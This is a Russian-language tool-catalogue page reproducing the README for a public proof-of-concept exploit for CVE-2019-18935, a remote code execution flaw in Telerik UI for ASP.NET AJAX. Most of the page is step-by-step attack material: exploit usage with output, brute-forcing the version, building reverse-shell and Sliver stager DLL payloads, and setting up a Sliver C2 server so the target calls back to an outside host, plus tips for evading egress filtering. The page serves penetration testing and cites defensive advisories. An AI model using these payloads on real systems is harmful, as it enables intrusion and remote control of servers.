Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-18935 — Эксплойт RCE для уязвимости десериализации JSON в .NET в Telerik UI для ASP.NET AJAX. | Kitploit
Инструменты/GitHubGitHub/noperator/cve-2019-18935
Анализ уязвимостейЭксплуатацияШелл-кодЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеRed TeamingРазработка Полезной Нагрузки
GitHubnoperator/cve-2019-18935

CVE-2019-18935

Эксплойт RCE для уязвимости десериализации JSON в .NET в Telerik UI для ASP.NET AJAX.

Репозиторий
3738844 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-18935

Эксплойт proof-of-concept для уязвимости десериализации JSON в .NET в Telerik UI для ASP.NET AJAX, позволяющий удалённое выполнение кода.

Описание

Telerik UI for ASP.NET AJAX — широко используемый набор UI-компонентов для веб-приложений. Он небезопасно десериализует JSON-объекты, что приводит к произвольному удалённому выполнению кода на базовом хосте. Дополнительная информация:

  • Доклад на DerpCon .NET Roulette (слайды), в котором подробно описываются основы эксплуатации небезопасной десериализации, их применение к данному эксплойту, а также советы и рекомендации по получению шеллов в ASP.NET-приложениях.
  • Полная статья в Bishop Fox, включающая подробное описание данной уязвимости и деталей эксплуатации (вместе с инструкциями по устранению).

Начало работы

Предварительные требования

Вам потребуются Visual Studio и .NET Framework SDK для компиляции DLL-пейлоадов смешанного режима .NET с помощью build-dll.bat.

Установка

root@kitploit:~
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

Данный эксплойт использует логику шифрования из RAU_crypto. Класс RAUCipher внутри RAU_crypto.py зависит от PyCryptodome — замены PyCrypto (модуль более не поддерживается). PyCryptodome и PyCrypto создают проблемы при установке в одном окружении, поэтому наилучший способ удовлетворить эту зависимость — установить модуль в виртуальном окружении, как показано выше.

Настройка

Укажите в строке 17 файла build-dll.bat путь к вашей установке Visual Studio.

root@kitploit:~
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build

Использование

root@kitploit:~
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.

optional arguments:
  -h, --help          show this help message and exit
  -t                  just upload a file
  -d                  just deserialize
  -r FILENAME_REMOTE  remote payload name, for optional use with -d
  -s SMB_SERVER       remote SMB server, for optional use with -d
  -v UI_VERSION       software version
  -n NET_VERSION      .NET version
  -p PAYLOAD          mixed mode assembly DLL
  -f FOLDER           destination folder on target
  -u URL              https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau

Компиляция DLL-пейлоада смешанного режима .NET

Некоторые пейлоады (например, reverse-shell.c и sliver-stager.c) требуют установки полей HOST и PORT для указания вашего C2-сервера — не забудьте это сделать!

В среде Windows с установленной Visual Studio используйте build-dll.bat для генерации 32- и 64-битных DLL смешанного режима, которые будут использоваться в качестве пейлоада при десериализации. При необходимости можно указать целевую архитектуру CPU вторым аргументом CLI (например, x86).

root@kitploit:~
build-dll.bat sleep.c

Загрузка пейлоада на цель и его внедрение в приложение

Передайте DLL, сгенерированную выше, в CVE-2019-18935.py. Скрипт загрузит DLL в каталог на целевом сервере (при условии, что веб-сервер имеет права на запись в этот каталог), а затем загрузит эту DLL в приложение через эксплуатацию небезопасной десериализации.

root@kitploit:~
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

В примере выше приложение ответило не менее чем через 10 секунд, что указывает на то, что DLL-пейлоад успешно вызвал Sleep(10000).

Подбор версии Telerik UI перебором

Как подробно описано в докладе DerpCon .NET Roulette (39:46), мы можем подобрать версию Telerik UI, указав только основную версию сборки Telerik.Web.UI (т.е. часть 2017 из полной строки версии 2017.2.503.40) при загрузке файла. Этот метод значительно сокращает пространство поиска по сравнению с перебором каждого конкретного релиза — и, как бонус, позволяет обнаруживать версии, даже не указанные в истории релизов. Подробнее о версионировании сборок .NET читайте на MSDN.

root@kitploit:~
$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:

Внедрение с помощью фреймворка Sliver C2

Пользовательский пейлоад-стагер Sliver sliver-stager.c получает и выполняет шеллкод Sliver (стадию) от сервера Sliver (сервера стадирования), следуя протоколу стадирования Metasploit. Подробнее о работе читайте в заголовке исходного кода пейлоада.

Запустите сервер Sliver. Больше информации о настройке сервера здесь.

root@kitploit:~
MINGW_PATH='/usr/bin'  # Или где находится MinGW.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server

Откройте C2-эндпоинт (в примере используется mTLS-слушатель, но можно использовать HTTP или DNS) на сервере Sliver, создайте профиль импланта и создайте стадирующий слушатель, привязанный к этому профилю. Подробнее о стадированных пейлоадах здесь. Обратите внимание: мы не генерируем стагер Sliver с помощью generate stager, как предлагает документация Sliver; вместо этого используется наш собственный sliver-stager.c.

⚠️ Предупреждение: Отправка стадии неправильной архитектуры CPU приведёт к аварийному завершению целевого процесса! Например, если цель работает под 32-битной версией Telerik UI, а стадирующий сервер отправляет 64-битную стадию 32-битному стагеру, процесс веб-сервера упадёт. В следующем примере мы генерируем 32-битный шеллкод — но вы должны сопоставить его с архитектурой CPU вашей цели, используя флаг --arch в команде new-profile.

root@kitploit:~
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1

sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32

sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started

Установите хост и порт в исходном коде стагера Sliver, указав сервер Sliver (пример сервера показан ниже).

root@kitploit:~
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c

Скомпилируйте пейлоад-стагер Sliver, загрузите его на цель и внедрите в приложение (следуя предыдущим разделам «Использование» в этом README).

root@kitploit:~
> .\build-dll.bat sliver-stager.c x86

$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll

Если всё прошло успешно (проверяли устранение неполадок на этой цели?), вы увидите созданную сессию в окне сервера Sliver, которую можно использовать для взаимодействия с целью.

root@kitploit:~
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC

sliver > use 1

[*] Active session AFRAID_COMPUTER (1)

sliver (AFRAID_COMPUTER) > help

Commands:
=========
  clear  clear the screen
  exit   exit the shell
  help   use 'help [command]' for command help
  ...
  whoami             Get session user execution context

sliver (AFRAID_COMPUTER) > whoami

DESKTOP-D19S4Q2\tester

Устранение неполадок

  • Каждый пейлоад срабатывает только один раз — класс .NET AssemblyInstaller не может загружать несколько сборок .NET с одинаковым именем сборки (отличается от имени файла). Вам потребуется компилировать и загружать новый каждый раз, когда нужно, чтобы цель «заснула», выполнила обратный вызов и т.д.
  • Убедитесь, что вы нацеливаетесь на правильную архитектуру CPU (32- или 64-битную). Здесь может потребоваться догадка; полезен пейлоад «сна» (sleep).
  • Остерегайтесь правил фильтрации исходящего трафика в целевой сети при попытке установить обратное TCP-соединение с вашим C2-сервером. Выбирайте часто разрешённый TCP-порт, например 443.

Дополнительная информация

Правовое предупреждение

Использование этого инструмента для атак на цели без предварительного взаимного согласия является незаконным. Конечный пользователь несёт ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Разработчики не несут ответственности и не отвечают за любое неправильное использование или ущерб, причинённый этой программой.

Благодарности

@mwulftange изначально обнаружил эту уязвимость. @bao7uo написал всю логику для взлома шифрования RadAsyncUpload, что позволило манипулировать объектом конфигурации загрузки файлов в rauPostData и впоследствии эксплуатировать небезопасную десериализацию этого объекта. @lesnuages написал первую итерацию пейлоада-стагера Sliver.

См. также

Рекомендации правительственных организаций

  • 28 июл 2021: CISA | Top Routinely Exploited Vulnerabilities
  • 20 окт 2020: NSA | Chinese State-Sponsored Actors Exploit Publicly Known Vulnerabilities
  • 19 июн 2020: ACSC | Copy-Paste Compromises – tactics, techniques and procedures used to target multiple Australian networks
  • 22 мая 2020: ACSC | RCE vulnerability being actively exploited in vulnerable versions of Telerik UI by sophisticated actors

Отчёты по баг-баунти

  • Отчет HackerOne #1174185 (@un4gi)
  • Отчет HackerOne #838196 (@sw33tLie)
  • Отчет HackerOne #913695 (@un4gi)

Список задач

  • Добавить пейлоад для загрузки и выполнения импланта Sliver
  • Доработать C-пейлоад, чтобы он мог выполнять одну команду вместо открытия интерактивного шелла
  • Изменить имя сборки уже скомпилированной DLL, чтобы избежать перекомпиляции для той же цели
  • Продемонстрировать подбор основных версий Telerik UI (т.е. части год в строке версии)

Лицензия

Этот проект распространяется по лицензии Apache License.

Скачать инструмент